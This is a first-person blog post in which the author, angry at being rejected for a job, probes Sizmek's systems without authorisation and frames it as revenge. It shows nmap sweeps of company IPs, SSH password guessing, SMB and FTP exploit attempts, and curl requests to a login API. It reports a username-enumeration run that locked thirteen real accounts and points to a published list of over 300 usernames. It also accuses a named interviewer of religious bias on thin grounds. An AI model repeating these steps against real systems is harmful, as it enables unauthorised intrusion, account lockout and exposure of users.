How did I hack Sizmek?(an Amazon company)

M. Mert Yıldıran
13 min readMay 20, 2020

In this article, I will tell you my story that started with a job opportunity on Sizmek (Amazon Development Centre Scotland) and ended up hacking Sizmek instead. I’ll explain first how and then why did I hack Sizmek with a quite amount of detail. It will start with my failed attempts so be patient. If you’re not that patient search for 500 in this page.

OK, I started by looking at their website sizmek.com Wappalyzer gives me quite a long service disclosure information:

The backend consists of Ubuntu, Nginx and MySQL stack. That’s a WordPress website. So I head on to wp-login.php and tried to make dictionary attack here but a plugin stopped me from doing that, I forgot which one. They later on hide this page because I said that you can hide it using a plugin like WPS Hide Login in my report to them.

I did a wpscan but nothing useful came up:

wpscan --url https://www.sizmek.com/ --api-token <KEY> --random-user-agent --plugins-detection mixed

Then I followed the login links in the navbar. These guys were formerly known as MediaMind apparently. Login.aspx meh.., their backend here seems like .NET You could’ve make it at least less obvious. Wappalyzer would tell me the details anyway though:

The second link was Sizmek Ad Suite. “Suite” like if something is luxury in here. Anyway, Wappalyzer:

It seems like, the tech stack of Sizmek is quite messy. So I thought maybe I can make a good hit.

So I looked up for the subdomains of sizmek.com:

and mediamind.com:

By the way you cannot do subdomain lookups using dig or something else on your local machine easily because the nameserver you’re querying must be configured to allow AXFR requests from your IP. So you need some elegant datacenter IP. I do these scans using Pentest-Tools.com

Based on my shell history, I did these nmap scans and unsuccessful ssh login attempts:

 9114  dig sizmek.com
9115 nmap -F 198.199.123.66
9116 ssh root@198.199.123.66
9117 ssh admin@198.199.123.66
9118 ssh admin2@198.199.123.66
9119 ssh smith@198.199.123.66
9120 ssh beta@198.199.123.66
9121 ssh sizmek@198.199.123.66
9122 ssh admin@198.199.123.66
9123 ssh root@198.199.123.66
9124 nmap -F 198.199.123.66
9125 nmap -p- 198.199.123.66
9126 nmap -p 1-65535 -sV -sS -T4 198.199.123.66
9127 sudo nmap -p 1-65535 -sV -sS -T4 198.199.123.66
9128 host -l eyeblaster.com
9129 dig eyeblaster
9130 dig eyeblaster.com
9131 dig eyeblaster.com soa
9132 dig @ns.SOA.com eyeblaster.com axfr
9133 host -l sizmek.com
9134 dig sizmek.com
9135 dig sizmek.com soa
9136 nmap -F 104.17.73.206
9137 ssh root@104.17.73.206
9138 nmap -F 104.16.53.111
9139 nmap -F 54.237.40.242
9140 nmap -F 52.200.78.174
9141 nmap -F 206.16.132.28
9142 nmap -F 206.16.132.45
9143 nmap -F 206.16.132.59
9144 nmap -F 52.97.133.200
9145 nmap -F 62.128.59.21
9146 nmap -F 64.94.191.173
9147 nmap -F 64.94.191.184
9148 nmap -F 82.80.14.222
9149 nmap -F 82.80.14.250
9152 nmap -F 104.19.154.83
9153 nmap -F 104.72.166.160
9154 nmap -F 206.16.132.28
9155 nmap -F 206.16.132.41
9156 nmap -F 206.16.132.59
9157 nmap -F 216.58.210.211
9158 nmap -F 62.128.59.21

Apparently, eyeblaster.com is also theirs. But since I reached my free 2 scan quota on Pentest-Tools.com I couldn’t find the subdomains of eyeblaster.com :)

Anyway, I did find an interesting discovery though, machine with IP 62.128.59.21 have Microsoft-DS SMB file-sharing port 445 is open:

$ nmap -F 62.128.59.21
Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-20 22:21 +03
Nmap scan report for panecovps01.spd.co.il (62.128.59.21)
Host is up (0.12s latency).
Not shown: 96 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds

(at the time I was doing all these msrpc was not open as far as I remember so I’m not covering that port)

So I threw every known SMB exploit available to that port but couldn’t make a hit.

I also find an open FTP port on the machine with IP 82.80.14.250 :

$ nmap -F 82.80.14.250
Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-20 22:17 +03
Nmap scan report for bzq-80-14-250.red.bezeqint.net (82.80.14.250)
Host is up (0.095s latency).
Not shown: 97 filtered ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
443/tcp closed https

I tried anonymous login and some FTP exploits but still no hit.

I also found a probably forgotten Nginx on port 15999 of a machine: http://104.196.113.33:15999/blabla

Again based on my shell history, I did full 1-65535 port range nmap scans on these machines:

 9271  sudo nmap -v -p 1-65535 -sV -sT -T4 62.128.59.21
9272 sudo nmap -v -p 1-65535 -sV -sT -T4 82.80.14.250
9273 sudo nmap -v -p 1-65535 -sV -sT -T4 52.200.78.174
9274 sudo nmap -v -p 1-65535 -sV -sT -T4 54.237.40.242
9277 sudo nmap -v -p 1-65535 -sV -sT -T4 104.196.113.33

(I don’t remember why did I choose these machines in particular, for a full-scan wait. Probably focused on secondary machines)

Later on, I turned my attention to their API and started to read their API documentation with the hope of finding something useful. I realized that without an API-key I will not be able to audit their endpoints so I solely focused on the login endpoint. I looked the Authentication page and saw that there are three different login endpoints:

https://adapi.uat.sizmek.com/sas/login/loginhttps://api.sizmek.com/rest/login/login/https://adapi.sizmek.com/sas/login/login/

So I started to mess with these endpoints by sending invalid or too big requests.

When I sent the below request:

curl -X POST \
https://api.sizmek.com/rest/login/login \
-H 'cache-control: no-cache' \
-H 'content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
-H 'postman-token: 9cfe13ad-2fa3-2124-1b6e-e4cbb676a483' \
-F username=admin

voila, I got my first hit and server responded with 500 :

It also seems like debug=true because I can see the stack trace. Though since Java developers write shitty code, they usually don’t care if their stack trace is exposed or not. Anyway, as soon as I got 500 I realized that this endpoint stinks.

With the below request, I got another 500 :

curl -X POST \
https://api.sizmek.com/rest/login/login \
-H 'accept: application/json' \
-H 'cache-control: no-cache' \
-H 'postman-token: 88cd04ad-99c5-7a0f-6e85-02d5b4063203' \
-d '{
"username": "admin",
"password": "asd",
}'

(even though I reported these 500 responses to them, with the same screenshots, they didn’t fix it. Apparently, they don’t consider 500 as a mistake on server-side)

Later on, I decided to try different usernames. For admin, the response that I got:

{'error': 'Credentials Expired, KgS1hrBsQ5lI_ry5'}

and for a random username, I got:

{'error': 'User with the specified username does not exist'}

Clearly they are exposing some information like if the user’s credentials are expired or not. So I thought they might be exposing more and decided to write a simple Python script to do a multi-threaded dictionary attack:

What I’m simply doing here is trying to login with the usernames in forum-names-top10000.txt file and record them if the response does not contain any error or the error is anything different than “User with the specified username does not exist”. The caveat here is, I’m splitting the usernames into CPU’s core count number of threads, in my case it was 8, therefore I don’t have to wait so long. You can even increase the number of threads and exceed the physical or logical core count, because threads will have to wait for the remote’s response.

Anyway, in the process of writing this Python script, I tried it with a relatively small dictionary and run it several times using the same dictionary. Like;

Run 1:

02: {'error': 'Token Not Valid'}
demo: {'error': 'Token Not Valid'}
partners: {'error': 'Token Not Valid'}
compras: {'error': 'Token Not Valid'}
admin: {'error': 'Credentials Expired, A8TooKGXYaBpYz2f'}
connect: {'error': 'Token Not Valid'}
miami: {'error': 'Token Not Valid'}
mickey: {'error': 'Token Not Valid'}
affiliate: {'error': 'Token Not Valid'}
affiliates: {'error': 'Token Not Valid'}
internal: {'error': 'Token Not Valid'}
mw: {'error': 'Token Not Valid'}
lima: {'error': 'Token Not Valid'}
tango: {'error': 'Token Not Valid'}
td: {'error': 'Token Not Valid'}
bw: {'error': 'Token Not Valid'}
cd: {'error': 'User [cd] last login attempt before locking user account'}

Run 2:

partners: {'error': 'Token Not Valid'}
compras: {'error': 'Token Not Valid'}
admin: {'error': 'Credentials Expired, KgS1hrBsQ5lI_ry5'}
connect: {'error': 'Token Not Valid'}
miami: {'error': 'Token Not Valid'}
mickey: {'error': 'Token Not Valid'}
affiliate: {'error': 'Token Not Valid'}
affiliates: {'error': 'Token Not Valid'}
internal: {'error': 'Token Not Valid'}
vu: {'error': 'Token Not Valid'}
stronghold: {'error': 'Token Not Valid'}
lima: {'error': 'Token Not Valid'}
tango: {'error': 'Token Not Valid'}
td: {'error': 'Token Not Valid'}
bw: {'error': 'Token Not Valid'}
regs: {'error': 'Token Not Valid'}
cd: {'error': 'User [cd] account is locked'}

voila 2, as you can see I locked a user with username cd accidentally :)

Also, the endpoint, for the same username, were sometimes returning Token Not Valid and other times returning User with the specified username does not exist how did the team in Edinburgh achieve this randomized behavior, I really wonder.

Later on, I decided to lock some more users to see how far I can go. Here is a list of users that I locked, in chronological order:

cd: {'error': 'User [cd] account is locked'}
partners: {'error': 'User [Partners] account is locked'}
affiliate: {'error': 'User [affiliate] account is locked'}
affiliates: {'error': 'User [affiliates] account is locked'}
compras: {'error': 'User [Compras] account is locked'}
internal: {'error': 'User [internal] account is locked'}
connect: {'error': 'User [Connect] account is locked'}
miami: {'error': 'User [miami] account is locked'}
mickey: {'error': 'User [mickey] account is locked'}
lima: {'error': 'User [lima] account is locked'}
tango: {'error': 'User [Tango] account is locked'}
td: {'error': 'User [TD] account is locked'}
bw: {'error': 'User [bw] account is locked'}

(I told them that I’m sorry about the accounts that I locked. These kind of incidents happen while black box auditing and it was a small scale incident.)

There are four major flaws in https://api.sizmek.com/rest/login/login/ endpoint:

  • They are exposing the information about whether the username is exists on the database or not.
  • Locking the account after N number of failed attempts is a stupid idea. Generally C# and Java developers tend to think that it’s a good idea but in reality, it’s not. You should rather ban(temporarily) the IP address instead of locking the account.
  • Even though I did not have the api-key, the logic on their server-side implementation counts my requests as a login attempt. Therefore the accounts are getting locked.
  • Their API(at least the login endpoint) has neither a rate limit nor a throttling limit.

Also there is not an easy way for users to unlock their accounts rather than contacting the support. But as I said; there should be no such thing called “locked accounts” at the first place.

Later on, I decided to run an even bigger dictionary attack against https://api.sizmek.com/rest/login/login/ endpoint. I found more than 300 accounts. I could’ve easily lock all these accounts too, but I didn’t do it of course.

There is no limit for a human being to do multi-threaded dictionary attacks, or random username generation, eventually the attacker would find most of the user accounts on their database and lock them, if he or she wanted to do. It would be literally a Denial-of-Service (DoS) attack with extra steps.

In conclusion, my Computer Science knowledge is not too bad.

Note: After my report, as of May 19, 2020, I can confirm that they fixed this “find and lock user accounts vulnerability”.

Note: You will find the paste that contains the list of user accounts at the end of this article.

Why did I hack Sizmek?

On Feb 18, 2020, an HR recruiter reached out to me for a Software Engineer role at Amazon Development Centre Scotland via Stack Overflow. My profile is not shining but it’s something. I felt like it’s a “once in a lifetime opportunity” for me.

On Feb 24, 2020, I did the ~2 hours long online assessment, it was not extremely hard. I only missed a single hidden test in the first question. I missed the all hidden tests in the second question but the description was vague.

On Mar 11, 2020, I learned that I passed the online assessment and the phone interview is scheduled for April 27, 2020 at 11:00AM(UTC+1).

In the mean time(March 25), some other HR recruiter from AWS Dublin, reached out to me via LinkedIn for a job opportunity but I had to turn him down because I was in another recruitment process for Amazon.

Before the interview, I studied the topics like:

The day has come, on April 27, we did the phone interview with a guy named Andrew Rose. He asked me classic questions like “Why did you applied to Amazon?” and “Tell me about your most ambitious project you’ve done so far.” etc. I told him that I love the culture and principles of Amazon as a company and I’m a huge fan of Jeffrey Bezos. I also told him that I’m pretty active on GitHub and mentioned that I have created a wide-known open-source virtual assistant called Dragonfire and a new programming language called Chaos. He surprised. So it was clear that, he didn’t even look at my GitHub profile or my resume, because those projects were listed there. He also asked me some brain teaser questions about optimizing an in-memory dictionary. Against all these odds, it was an OK interview for me. Because he replied with “Good.” to most of my answers.

On April 27 night, I got an email from the Recruitment Coordinator and learned that I got rejected. In March, I had two opportunities for a job on Amazon, now I have zero opportunities. I turned into a shipwreck and cried for two days straight. Because, for all my life, I wanted to work for a big tech company and now this dream is ruined.

I accepted my fate and decided to continue my life as usual. But my brain couldn’t accept this result. I straight up looked to Andrew Rose’s GitHub profile, everyday for a week. While looking his profile, I realized something, I got discriminated. By the way, I’m not an edgy libtard but an unlucky guy from Turkey.

There is a link on Andrew Rose’s GitHub profile:

If you follow that link, it leads you to a book store https://matthiasmedia.com.au/ which is an evangelical publisher in Australia.

Please look at this book: https://matthiasmedia.com.au/products/where-to-start-with-islam This book is featured on Matthias Media’s home page, which clearly indicates that someone who reads these publications should have a good amount of problems with Muslims. It’s clearly far-right view.

My assumption is, Andrew Rose, looked at my resume, saw that I’m from Turkey and just because of I’m from Turkey, he assumed that I’m Muslim and discriminated me therefore I ended up rejected. First of all, I’m not even Muslim, I’m an Atheist. I don’t feel like I have to accept this fate just because I born in Turkey.

In conclusion, Andrew Rose didn’t objectively judge me, he didn’t even considered me as a candidate because of my ethnicity and religion(with some wrong assumptions here), and this is against the diversity and inclusion culture of Amazon, it’s literally a company principle.

I mean, it might be OK to be an evangelical. I don’t have any problems with evangelical Christians. But what’s the point of putting that link to your GitHub profile? Isn’t it suppose to be a link to your personal website? This guy is clearly mixing computer programming with religion.

After this realization, I reached to the CEO of Sizmek on May 6, via LinkedIn, write my complaint about ethnic and religious discrimination and asked for a second chance. He said that, they will reconsider the situation and send my complaint to his colleagues. A new hope for me

On May 7, another HR recruiter, this time from IMDb, reached out to me and said they didn’t find my reasons valid for giving me a second chance.

I thought if Andrew Rose didn’t discriminate me, then what was the reason? My English speaking skills are not top of the class, I know that but I believe I’m better at speaking than most of the non-native speakers. So it cannot be the sole reason for me to being rejected. He definitely concluded that my Computer Science knowledge is not sufficient enough to work on an Amazon company.

I filled with rage, I wanted to prove them wrong and decided to hack Sizmek.

I’ve send my findings about the critical vulnerability that I found on the login endpoint to multiple people that works at Sizmek.

I’ve waited 11 days for a respond. But instead they choose to ghost me, which is not cool and they fixed the bugs (at least, the bug that causing locked accounts) in the mean time.

Usually most of the well established companies in this industry have some form of a bug bounty program. So at least, I would expect a reward from Sizmek, like a few hundred bucks, because I’ve reported a vulnerability, or at least a thank you message. Alternatively, they could’ve just hire me. They did none of these, hence this Medium story happened.

Note: I didn’t even use any social engineering methods. I could’ve easily approach as a client and obtain an API key. With the API key I would be able to dig deeper.

The paste that contains the list of user accounts.

--

--